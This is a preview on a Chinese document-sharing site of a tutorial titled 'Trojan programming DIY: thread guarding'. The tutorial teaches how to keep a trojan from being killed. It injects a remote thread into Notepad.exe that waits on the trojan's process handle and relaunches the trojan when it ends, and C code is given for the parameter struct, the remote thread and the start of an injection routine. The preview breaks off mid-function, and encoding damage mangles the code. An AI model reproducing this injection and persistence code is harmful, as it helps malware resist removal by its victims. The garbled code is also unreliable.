木马编程DIY线程守护.docVIP

  1. 1、原创力文档(book118)网站文档一经付费(服务费),不意味着购买了该文档的版权,仅供个人/单位学习、研究之用,不得用于商业用途,未经授权,严禁复制、发行、汇编、翻译或者网络传播等,侵权必究。。
  2. 2、本站所有内容均由合作方或网友上传,本站不对文档的完整性、权威性及其观点立场正确性做任何保证或承诺!文档内容仅供研究参考,付费前请自行鉴别。如您付费,意味着您自己接受本站规则且自行承担风险,本站不退款、不进行额外附加服务;查看《如何避免下载的几个坑》。如果您已付费下载过本站文档,您可以点击 这里二次下载
  3. 3、如文档侵犯商业秘密、侵犯著作权、侵犯人身权等,请点击“版权申诉”(推荐),也可以打举报电话:400-050-0827(电话支持时间:9:00-18:30)。
  4. 4、该文档为VIP文档,如果想要下载,成为VIP会员后,下载免费。
  5. 5、成为VIP后,下载本文档将扣除1次下载权益。下载后,不支持退款、换文档。如有疑问请联系我们
  6. 6、成为VIP后,您将拥有八大权益,权益包括:VIP文档下载权益、阅读免打扰、文档格式转换、高级专利检索、专属身份标志、高级客服、多端互通、版权登记。
  7. 7、VIP文档为合作方或网友上传,每下载1次, 网站将根据用户上传文档的质量评分、类型等,对文档贡献者给予高额补贴、流量扶持。如果你也想贡献VIP文档。上传文档
查看更多
木马编程DIY之线程守护 文/图 冷风 要防止自己的程序被关闭,通常有两种方法1.像IcesWord一样HOOK系统底层的函数2.使用线程保护。这里我们主要学习线程保护的方法 线程保护的思路就是让其它程序监视自己,如果自身程序退出了,那么监视程序就重新启动,这个过程我简单画了一个图如图1所示 跟据图示1我们来分析一下线程守护的思路,并编程实现一个简单的线程守护程序,本程序完成的功能是把监视代码插入到Notepad.exe进程 以监视程序本身,如果自身被关闭,Notepad.exe进程将重新启动自身程序,以达到不死的效应,以下代码在VC6中编译通过 现在我们重新整理一下思路,首先我们找一个其它进程做为我们的保护神并把自己进程的句柄传保护神,保护神通过用WaitForSingleObject 函数来检测句柄来判断要保护的进程是否结束,如果结束就重新启动我们的程序.跟据上面的思路我们来分析细节的实现 1.检测并保护程序的远程线程代码 因为保护自己的代码要注入到Notepad.exe进程,而执行在远程线程代码的API都需要重新定位,为解决这个问题我们定义如下的结构 typedef struct _remoteparameter { ??? DWORD??? ??? rpWaitForSingleObject; ??? DWORD??? ??? rpOpenProcess; ??? DWORD?????? rpWinExec; ??? DWORD??? ??? rpProcessPID;?????????? ??? HANDLE??? ??? rpProcessHandle; ??? char??? ??? path[MAX_PATH]; }REMOTEPARAM; 这个结构中包的前三项为远程线程中需要使用的API函数, rpProcessPID为要保护的进程PID,rpProcessHandle用来保存要保护进程的句柄 path为当程序被关闭时需要启动的程序路径。远程线程函数如下 DWORD WINAPI remote(LPVOID pvparam) { ??? REMOTEPARAM *rp=(REMOTEPARAM*)pvparam;? //传递进来的信息 ??? typedef UINT??? ??? ??? (WINAPI *EWinExec)??? ??? ??? ??? (LPCSTR, UINT); ??? typedef HANDLE??? ??? ??? (WINAPI *EOpenProcess)??? ??? ??? (DWORD, BOOL, DWORD); ??? typedef DWORD??? ??? ??? (WINAPI *EWaitForSingleObject)??? (HANDLE, DWORD); ??? EWinExec??? ??? ??? ??? tWinExec; ??? EOpenProcess??? ??? ??? tOpenProcess; ??? EWaitForSingleObject??? tWaitForSingleObject; ??? tOpenProcess??? ??? ??? =(EOpenProcess)rp-rpOpenProcess; ??? tWaitForSingleObject??? =(EWaitForSingleObject)rp-rpWaitForSingleObject; ??? tWinExec??? ??? ??? ??? =(EWinExec)rp-rpWinExec; ??? rp-rpProcessHandle=tOpenProcess(PROCESS_ALL_ACCESS,FALSE,rp-rpProcessPID);//打开要保护的进程 ??? tWaitForSingleObject(rp-rpProcessHandle,INFINITE);//要保护的进程是否结束 ??? ??? tWinExec(rp-path, SW_SHOW);//如果结束就重新启动程序 ??? return 0; } 2.将remote函数代码注入Notepad.exe进程并启动 这里为了方便我定义成了一个函数,使用时只要提供要注入的进程名称就可以完成线程守护的功能,它的返回值是远程线程的句柄 其实现如下: HANDLE CreateRemoteThreadProc(char* ProcessName) { ??? ??? HANDLE??? ThreadHandle; ??? ??? char??? FilePath[MAX_PATH]; ??? ??? GetModuleFileNa

文档评论(0)

xina171127 + 关注
实名认证
文档贡献者

该用户很懒,什么也没介绍

1亿VIP精品文档

相关文档